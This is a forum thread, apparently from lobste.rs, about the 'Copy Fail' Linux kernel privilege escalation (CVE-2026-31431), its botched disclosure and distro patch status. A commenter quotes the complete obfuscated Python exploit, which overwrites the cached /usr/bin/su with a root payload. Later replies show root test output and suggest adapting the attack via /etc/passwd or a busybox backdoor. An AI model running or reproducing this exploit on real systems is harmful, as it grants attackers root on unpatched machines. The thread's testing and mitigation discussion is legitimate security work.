Copy Fail — 732 Bytes to Root
77 points by achill
77 points by achill
Look, the AI reek on that advisory aside - who the fuck obfuscates their PoC?
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Why did you feel the need to compress the payload, and to golf everything else? I don't expect a PoC for such a vulnerability to be understandable at a glance, but you don't have to go out of your way to make it as sketchy and obtuse as possible. As a defender, this is just about the last thing I'd want to run when I know I'm scrambling to patch my infra against a 0day LPE. This seems only really useful for attackers.
Not that I think this is actually malicious - I doubt an actual malicious actor would deliberately make their payload look like this.
edit: The advisory claims that Copy Fail is "Tiny. 732-byte Python script, stdlib only (os, socket, zlib). No compiled payload, no dependencies". This is a pretty fucking funny claim, considering the compressed blob decompresses to an ELF binary.
I'm hoping we'll get to read a write-up of this bug that isn't written by an AI company, the bug itself looks interesting.
edit: I cleaned up the PoC: https://git.sr.ht/~dzwdz/copyfail. It's hopefully clear enough that this version doesn't do anything nefarious. I wish I had this 2 hours ago. It could be much better but I would really want to go to sleep at an reasonable hour for once.
Thankyou for this unobfuscated version, I felt much more comfortable reading & running it. I now plan to reboot into a newer kernel and see if it's fixed.
While I'm shitting on their PoC, they have a warning on their site saying:
Use responsibly. Run only on systems you own or have written authorization to test. The script edits the page cache of a setuid binary; the change is not persistent across reboot, but the resulting root shell is real. Don't run it on production.
This warning starts off sensible with "The script edits the page cache of a setuid binary" but then diverts into usual LLM bullshit with "the resulting root shell is real". I think what they meant to say is that if you run this, other users will be able to elevate to root too as it replaces /usr/bin/su. It would be nice to warn against that, right?
With how they phrased it, it sounds like "Don't run it on production" just refers to how the "resulting root shell is real", and that you might not want to run root exploits in production. Not the wide open hole it leaves.
the more i read it over, the more it starts sounding like rehashed SCP wiki entries with how much it hypes itself up.
Thank you for the POC.
I tested it in a Podman rootless container (and as non-root) and I became root in the container, but didn't elevate privileges to host root (CapEff: 00000000800405fb - no cap_sys_admin). On the other hand, it did work when running as a user on the host.
who the fuck obfuscates their PoC?
If you've been around for a while, the question is actually "when did we stop doing that"? I feel like obfuscating and slightly breaking the PoC was the standard in early 2000s. Just enough to slow down script kiddies. There would be a #define NOP 0x42 or something similar at the very least.
Will you release the full PoC?→
Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
Uhhhh what the hell? They did not in fact give them enough time to get patches out: https://security-tracker.debian.org/tracker/CVE-2026-31431 [at the time of this writing only forky and sid are patched; stable is still vulnerable]
Seems deeply irresponsible?
If a distro can't push an update in a month, the distro should get shit for that - nobody else.
What's irresponsible is assuming the whole world should wait because some distro or another couldn't be assed to get to it.
I really doubt that both Debian and Red Hat would fail to respond to this bug if given a month.
Considering that the rest of this disclosure is a mess too, I doubt they ever contacted them.
That seems to be what happened: https://www.openwall.com/lists/oss-security/2026/04/30/10
[The patch] does not apply cleanly [to older kernel versions], no. [...] I attempted a backport but ran into a few API changes and wasn't confident enough to muck around with it, especially for something to deploy immediately.
Well, that explains why Debian (and others) still hasn't updated. Unfortunate.
Note that for Linux kernel vulnerabilities, unless the reporter chooses to bring it to the linux-distros ML, there is no heads-up to distributions.
Unfortunate, I assumed it'd be something like this. I could see how someone could make this mistake... especially if they're scrambling to get marketing out.
It's still weird to claim that "We held it for a month while distros prepared patches; the major builds are out as of this writing" in the advisory if you haven't actually checked ~any of the popular distros. I wonder if that was a hallucination?
That is one heck of a conjecture.
It was fixed a month ago:
So you're saying that even if they weren't contacted directly, Red Hat, with all their commercial money, and Debian, with all their paid developers directing development, don't have people reviewing kernel changes to see when something important comes along? And not a single developer for Red Hat or Debian communicates with other kernel / distro developers? Really?
Occam's razor suggests an issue other than that they weren't contacted.
So you're saying that even if they weren't contacted directly, [Red Hat and Debian], don't have people reviewing kernel changes to see when something important comes along?
Yes? You realize that'd be at least a full-time job, right? And one that 99% of the time wouldn't have any visible effects. Package maintainers do not tend to read the entire source code of what they're packaging, this would make modern distros essentially impossible to maintain.
As noted in the sibling comment, the patch also doesn't hint at this being a security issue at all. If it was easy to tell that it is a security issue - then this would tip off attackers that this is something they can exploit too. This means that distros would not only need to keep up with all kernel development, but they would need a team of insanely talented security researchers scrutinizing each patch to see if the original code was exploitable.
In fact, if we follow through with the logic - this patch boils down (roughly) to reversing a commit. If you could easily tell that this fixes a security issue - then the converse is that you would be able to just as easily notice this bug when it was first introduced. If these teams existed, they should've spotted this in 2017.
not a single developer for Red Hat or Debian communicates with other kernel / distro developers?
"Note that for Linux kernel vulnerabilities, unless the reporter chooses to bring it to the linux-distros ML, there is no heads-up to distributions", see the sibling comment. I believe this was written by a Gentoo developer too, so I assume they're familiar with the process.
I've also had it confirmed that RH and Debian didn't receive any information even outside of the usual channels. I didn't think they would have, as we all generally try to look out for each other.
Perhaps I've expected a leap too far for most:
Distro maintainers should have people who handle security. Those people should be privy to private communications about things like kernel vulnerabilities. Patches that occur in the kernel, even if they don't immediately have security notes pointing to a CVE, that have security implications should be discussed privately by those security people.
You're implying here that the onus is on the reporter to contact EVERY SINGLE DISTRO, even impossible-to-contact ones like Red Hat (unless you're paying them), and that there are no security communications mailing lists or other methods of communications that the distros share with kernel developers.
Well, I know for a fact that that's not the case. But yet you still want to blame the reporters and not the people in Debian and in Red Hat.
These organizations have tons of full time, paid people. So please continue with your excuse making to explain how they're, I don't know, too busy to be checking privately shared security information, and how an email from a random group on the Internet would've gotten more attention.
Also explain how if I report an issue to the upstream of some software, it's somehow my responsibility to contact all the dependencies of that software.
In other words, you're really, really doing a lot of bootlicking for Debian and Red Hat.
modern distros essentially impossible to maintain
You're saying that Red Hat and all the paid developers working on Debian can't maintain their distros? I didn't realize that the kernel is a package. I think you're conflating things.
You're implying here that the onus is on the reporter to contact EVERY SINGLE DISTRO, even impossible-to-contact ones like Red Hat (unless you're paying them), and that there are no security communications mailing lists or other methods of communications that the distros share with kernel developers.
The impression I get is that the kernel people don't routinely notify the distros of vulnerabilities, and the onus is on the original reporter to contact both upstream and the distros (by the shared mailing list). There's a reasonable argument that the kernel people should be more proactive here (although I'm not that surprised, given their slightly unconventional views on CVEs and such), or you could argue that the reporter should have reported to both places in the first place, but I don't see how this is the fault of the distros.
For what it's worth the kernel reporting guidance does have this paragraph:
Fixes for sensitive bugs, such as those that might lead to privilege escalations, may need to be coordinated with the private linux-distros@vs.openwall.org mailing list so that distribution vendors are well prepared to issue a fixed kernel upon public disclosure of the upstream fix. Distros will need some time to test the proposed patch and will generally request at least a few days of embargo, and vendor update publication prefers to happen Tuesday through Thursday. When appropriate, the security team can assist with this coordination, or the reporter can include linux-distros from the start. In this case, remember to prefix the email Subject line with “[vs]” as described in the linux-distros wiki: http://oss-security.openwall.org/wiki/mailing-lists/distros#how-to-use-the-lists
So I'm a bit surprised nobody on the kernel side asked "hey, do the distros know about this?"
I don't understand what you are proposing Debian should have done.
I was also not blaming xint for not disclosing this to linux-distros@. Sure, I criticized their obfuscated PoC and made fun of how they rushed the disclosure for "marketing", but, as mentioned, I think this is an understandable mistake to make.
I didn't realize that the kernel is a package.
https://packages.debian.org/search?keywords=linux-image
I mentioned package maintainers because I tried to make a broader point about what we expect from them.
I think this is an understandable mistake to make.
Notifying kernel people and assuming that the kernel people would notify the distro people for you because you didn't read the reporting guidelines: understandable mistake.
Failing to notify the distro people but claiming that the patches were shipping anyway without checking first: not an understandable mistake.
You're implying here that the onus is on the reporter to contact EVERY SINGLE DISTRO, even impossible-to-contact ones like Red Hat (unless you're paying them), and that there are no security communications mailing lists or other methods of communications that the distros share with kernel developers.
Well, I know for a fact that that's not the case. But yet you still want to blame the reporters and not the people in Debian and in Red Hat.
I'm not the parent comment, but could you comment on this more? Everything I can find (Even emails from distro developers) seems to suggest they didn't get any advance notice of this, and learned at the same time as everybody else.
Here's Greg KH's response to Alexander Peslyak (who I believe works on Rocky Linux) asking for such a channel of communication:
https://www.openwall.com/lists/oss-security/2026/05/01/3
Please don't get me wrong, I appreciate the extra effort your team is taking to process some kernel bugs as CVEs and even to score them. I understand that with so many, quality can't be perfect.
It's just that instead of drowning in the CVE/CVSS noise, we need a high-quality signal for CVEs that matter the most. Things that would certainly have been CVEs even prior to Linux CNA setup. They may not score the highest per CVSS, but in many cases - like in this one - your team has the knowledge that an issue is to become high-profile, so a timely direct heads-up to linux-distros would be appreciated. Where by "timely" I mean, say, a week (and never more than 14 days) before planned full public disclosure. We don't normally like to sit on semi-embargoed issues with public fixes, but we did introduce an exception for "Linux kernel issues concurrently or very recently handled by the Linux kernel security team" specifically to accommodate the way your team works.
How does this sound to you?
Nope, sorry, we are NOT allowed to notify anyone about anything "ahead of time" otherwise we will have to tell everyone about everything. That's the only policy by which all the legal/governmental agencies have agreed to allow us to operate in, so we are stuck with it.
And here's a gentoo developer saying unless the reporter does it, distros do not get any heads up from linux developers:
https://www.openwall.com/lists/oss-security/2026/04/30/10
Note that for Linux kernel vulnerabilities, unless the reporter chooses to bring it to the linux-distros ML, there is no heads-up to distributions.
My understanding at the moment is that there exists a linux-distros mailing list meant for heads up on issues like this, but it's not used by kernel security people, they leave that responsibility up to the reporters? So it doesn't seem like they need to manually report to each one, just to this one mailing list. I still think expecting that of reporters might be a bit much so I'm probably in agreement with you on that point.
EDIT: That same gentoo developer has a response in this thread that would seem to confirm that debian and RH had no prior notice of this vuln
I've also had it confirmed that RH and Debian didn't receive any information even outside of the usual channels. I didn't think they would have, as we all generally try to look out for each other.
So I remain curious how you "know for a fact that that's not the case" and what your source is.
My understanding at the moment is that there exists a linux-distros mailing list meant for heads up on issues like this, but it's not used by kernel security people, they leave that responsibility up to the reporters? So it doesn't seem like they need to manually report to each one, just to this one mailing list.
Yes, this is explained in the Linux Kernel security bug reporting process documentation under “coordination” towards the end: https://docs.kernel.org/process/security-bugs.html
I would expect the kernel patch to obfuscate the fact that it fixes a major security issue. And, yeah, there's nothing about it in the commit that you linked. So ideally, the kernel patch is good at hiding security fixes, and the right people get notified about the patch through other channels.
If ~most big distros didn't patch a vulnerability before it went public (With a POC!), I assume something went wrong communications wise.
Responsible to whom?
Patch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.
The advice it gives is A) inaccurate and B) useless to most people. The fix does not exist on Debian-based systems unless you're running unstable, and as far as I can tell is not shipping for Redhat-based systems at all.
Responsible to whom?
To the readers of the post they wrote! The only question is whether the author knew this and deliberately lied about it or just got Claude to generate a writeup and didn't even bother to fact-check it. Absolutely reckless in either case.
The advice it gives is inaccurate and useless.
No it isn't, it's impossible to execute for people constrained by Debian stable right now. That isn't everyone. It's also not me.
To the readers of the post they wrote!
I am reading this post and upgrading my kernel as we speak, i'm glad they posted it, otherwise i'd be vulnerable.
The only question is whether the author knew this and deliberately lied about it
Lied about what exactly, a disclosure timeline? Who cares? My machines are going to have the patch deployed in 30 minutes. In the world where this was done "responsibly," when would my machines be patched?
Lied about what exactly
Did you see the part where they said "Most major distributions are shipping the fix now."? It's not true. If they can't fact-check a even basic thing like this, what other stuff are they getting wrong?
This is really disappointing to me. The exploit itself is serious (well, aside from the code golfing of the poc discussed up thread) but screwing up disclosure and posting misinformation is a bad look.
"most" is structural here, "all but one" and "most" mean the same thing
Where are you getting "all but one" ? The only ones I've seen shipping it are Debian sid and Ubuntu's latest. Zero in any stable or LTS, nothing in RedHat.
First impression: I can't tell what product they're selling but I want some.
Second impression: Oh not only is it mostly marketing/branding copy, the actual info seems to be slop-written and full of lies. What a time to be alive.
Despite the text being obviously partly LLM-generated, and some...very strange inconsistencies (RHEL 14???), this does appear to work as stated in an AlmaLinux VM. Slightly horrified that distros didn't really classify it highly (or maybe the reporting party didn't properly emphasize the severity?).
I think it's understandable that one would dismiss an AI slop report. If the reporting party doesn't even bother writing the report themselves, what are the odds that it's worth anything?
I think it's understandable that one would dismiss an AI slop report.
I wouldn't generally disagree; most of the reason I tried it myself and wrote back here was to cut through the "ugh is this legit or not" dance that I figured was going on in everyone's heads.
Well, fudge. It works on ppc64le. It really is universal. Using @dzwdz's version,
% arch
ppc64le
% make
cc -Wall -Wextra -Os payload.c -o payload
% python3 poc.py
uid=0(root) [...] context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Immediate mitigation (works on my void linux install; should be generic enough, but use at your own risk):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
To revert:
rm /etc/modprobe.d/disable-algif-aead.conf
modprobe algif_aead
Might want to remove the 2>/dev/null there. The advisory's decision to include it is a bit dubious IMO.
No good on Fedora:
# rmmod algif_aead
rmmod: ERROR: Module algif_aead is builtin.
Looks like I'm building a new kernel.
initcall_blacklist=algif_aead_init
into kernel boot options shall help
for anyone using Grub + grubby,
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
Works on Arch.
Tested against https://github.com/tgies/copy-fail-c.git and https://git.sr.ht/~dzwdz/copyfail
Arch additionally already has a patched kernel (and has downstream since Apr 11, despite the vuln finder's apparent non-communication with the distro list? weird), see https://security.archlinux.org/CVE-2026-31431
That's just because Arch moved to 6.19.x a little while ago, and it was fixed in 6.19.x because it was easy. It's by "accident" (*). In the same way, our ~arch (testing) users were fine, as they'd get 6.19.x,, but it's not because we were informed.
The backporting/cherry-picking was the hard part which nobody did, until Eric Biggers stepped up and handled it.
(*) It's arguably not by accident if the decision to not use LTS by default is related to these kind of missed backports :)
Weird, if you updated it shouldn't. On my Arch-based Artix* Linux it asks for the password; *OpenRC systemd, KDE Plasma, Wayland.
Does it work on android?
PoC doesn't, because it uses setuid and Android is setuid-hardened. But underlying vulnerability is arbitrary page cache write that works every time where the attacker can precisely control both offset and value, which is very powerful. I won't be surprised if it can be made to work on Android.
Android SELinux policy prevents creating AF_ALG sockets in pretty much all contexts, so it shouldn't be exploitable even on vulnerable kernels.
Edit: here's where Android forbids AF_ALG sockets for normal unprivileged apps. There are other .te files that forbid it for other contexts, and even the ones that don't explicitly forbid it don't seem to allow it, which means it's forbidden by default.
Since the post doesn't bother to say, commit a664bf3d603d (the fix) currently only seems to be included in upstream Linux 7.0 and later. It has not made it to any stable backport branches. Checked using git tag --contains on a local Linux clone.
Edit: I made a mistake, see replies. It is also fixed in 6.18 as of 6.18.22 and 6.19 as of 6.19.12.
Debian has it as fixed in 6.19: https://security-tracker.debian.org/tracker/CVE-2026-31431
You're right, I forgot that the backports are cherry-picked and don't have the same commit hash. Upstream has fixed it in 6.18.22 and 6.19.12. They have not fixed it in any other LTS branch yet: 6.12.84, 6.6.136, 6.1.169, 5.15.203, and 5.10.253 all look vulnerable to me.
Every Major Linux Distribution
Doesn't appear to affect Alpine, or is that just because the PoC needs tweaking?
https://github.com/theori-io/copy-fail-CVE-2026-31431/issues/4
I think the reason it doesn't work is that regular users don't have read permissions on Alpine's /bin/su (and the PoC expects su to be at /usr/bin/su). If you have any other setuid binaries on the system that are readable by other users, the PoC can be trivially adapted.
If you don't, then you probably still could use this exploit to escalate to root by changing your UID to 0 in /etc/passwd, adding a backdoor to the main busybox binary (which is world-readable) and waiting until root runs it, etc. I haven't tested any of that but this should be relatively easy?